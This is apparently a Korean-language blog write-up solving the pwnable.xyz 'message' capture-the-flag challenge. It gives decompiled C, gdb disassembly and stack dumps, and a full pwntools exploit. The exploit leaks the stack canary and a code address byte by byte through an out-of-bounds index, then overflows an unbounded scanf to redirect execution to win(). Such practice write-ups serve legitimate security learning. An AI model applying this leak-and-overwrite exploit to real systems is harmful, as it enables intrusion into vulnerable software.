[pwnable.xyz] message write up
글 작성자: Universe7202
pwnable.xyz 20번째 message 문제이다.
keyword: buffer overflow
keyword: canary leak
Analyze
ubuntu:~/environment/ctf/pwnable.xyz/20_message $ func challenge
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
get_choice
handler
main
print_menu
setup
win
gdb로 바이너리를 분석해서 c로 나타내면 아래와 같다.
#include <stdio.h>
void print_menu(){
puts("Menu:\n1. Edit message.\n2. Print message.\n3. Admin?");
}
int get_choice(){
char a = 1; // rbp-0x09 0x7fffffffe45f
char b = 2; // 0x7fffffffe460
char c = 3; // 0x7fffffffe461
char d = 4; // 0x7fffffffe462
char e = 5; // 0x7fffffffe463
char f = 6; // 0x7fffffffe464
char g = 7; // 0x7fffffffe465
char h = 8; // 0x7fffffffe466
char i = 9; // 0x7fffffffe467
char j = 0; // rbp-0x12 0x7fffffffe468
char k = getchar(); // // rbp-0x13
getchar();
int tmp = k;
tmp -= 0x30;
char tmp2 = (char)(rbp + tmp - 0x12); // rbp = 0x7fffffffe470
return tmp2;
}
int main(){
puts("Message taker.");
printf("Message: ");
scanf("%s", rbp-0x30); // 0x7fffffffe490
getchar();
while(1){
print_menu();
printf("> ");
int select = get_choice(); // rbp-0x34
if(select == 0)
break;
else if(select == 1){
printf("Message: ");
scanf("%s", rbp-0x30); // 0x7fffffffe490
getchar();
}
else if(select == 2){
printf("Your message: %s\n", rbp-0x30);
}
else if(select == 3){
if(admin != 0){
win();
}
}
else{
printf("Error: %d is not a valid option\n", rbp-0x34);
}
}
}
위 코드를 보면 scanf() 함수에서 입력 범위를 지정하지 않아 Overflow가 발생하게 된다.
또한 get_choice() 함수에서 사용자가 입력한 값을 기준으로 해당 주소의 값을 char 형 만큼 가져와 Return 한다.
이 값이 0~3 이 아니면 printf() 함수로 값을 출력하게 된다.
그렇다면 canary 값의 주소를 찾아서 get_choice() 함수에서 rbp 의 주소와 떨어진 거리를 계산하면
8번의 시도로 canary 값을 Leak 할 수 있다.
win 함수의 주소를 RET에 write 해야 하는데, PIE가 적용되어 있어 win 함수를 Leak 해야 한다.
방법은 get_choice+85에서 스택을 보면, 0x7fffffffe478의 값은 main+113 의 주소이다.
canary 값을 Leak 하는 것 처럼 똑같은 방법으로 main 함수를 Leak 한다.
0x555555554a72 <get_choice+76>: movsx eax,BYTE PTR [rbp-0x13]
0x555555554a76 <get_choice+80>: sub eax,0x30
0x555555554a79 <get_choice+83>: cdqe
=> 0x555555554a7b <get_choice+85>: movzx eax,BYTE PTR [rbp+rax*1-0x12]
0x555555554a80 <get_choice+90>: movzx eax,al
0x555555554a83 <get_choice+93>: mov rdx,QWORD PTR [rbp-0x8]
0x555555554a87 <get_choice+97>: xor rdx,QWORD PTR fs:0x28
0x555555554a90 <get_choice+106>: je 0x555555554a97 <get_choice+113>
gdb-peda$ x/24gx $rsp
0x7fffffffe450: 0x00007fffffffe470 0x0100745555554890
0x7fffffffe460: 0x0908070605040302 0xb09a639f30090100
0x7fffffffe470: 0x00007fffffffe4c0 0x0000555555554b30
Payload
from pwn import *
p = remote("svc.pwnable.xyz" ,"30017")
p.sendlineafter(": ", "AAAAAAAA")
count = 74
main_addr_113 = ""
for i in range(count, count+6):
p.sendlineafter("> ", p8(i))
p.recvuntil(": ")
tmp = int(p.recvuntil(" ").replace(" ", ""))
main_addr_113 = hex(tmp)[2:].rjust(2, "0") + main_addr_113
main_addr_113 = "0x" + main_addr_113
print("[*] main_113 address + "+main_addr_113)
main_addr = int(main_addr_113, 16) - 113
win_addr = main_addr - 19
print("[*] main address + " + hex(main_addr))
print("[*] win address + " + hex(win_addr))
count = 139
canary = ""
for i in range(count, count+7):
p.sendlineafter("> ", p8(i))
p.recvuntil(": ")
tmp = int(p.recvuntil(" ").replace(" ", ""))
canary = hex(tmp)[2:] + canary
canary = "0x" + canary + "00"
print("[*] canary value " + canary)
print("[*] win address + " + hex(win_addr))
payload = "A" * 40 + p64(int(canary,16)) + "A" * 8 + p64(win_addr)
p.sendlineafter("> ", "1")
p.sendlineafter(": ", payload)
p.sendlineafter("> ", "0")
p.interactive()
'🚩CTF' 카테고리의 다른 글
Aero 2020 CTF write up - aerofloat (0) | 2020.03.03 |
---|---|
[pwnable.xyz] catalog write up (0) | 2020.02.28 |
[pwnable.xyz] rwsr write up (0) | 2020.02.25 |
[pwnable.xyz] bookmark write up (0) | 2020.02.25 |
[pwnable.xyz] uaf write up (0) | 2020.02.21 |
댓글
이 글 공유하기
다른 글
-
Aero 2020 CTF write up - aerofloat
Aero 2020 CTF write up - aerofloat
2020.03.03 -
[pwnable.xyz] catalog write up
[pwnable.xyz] catalog write up
2020.02.28 -
[pwnable.xyz] rwsr write up
[pwnable.xyz] rwsr write up
2020.02.25 -
[pwnable.xyz] bookmark write up
[pwnable.xyz] bookmark write up
2020.02.25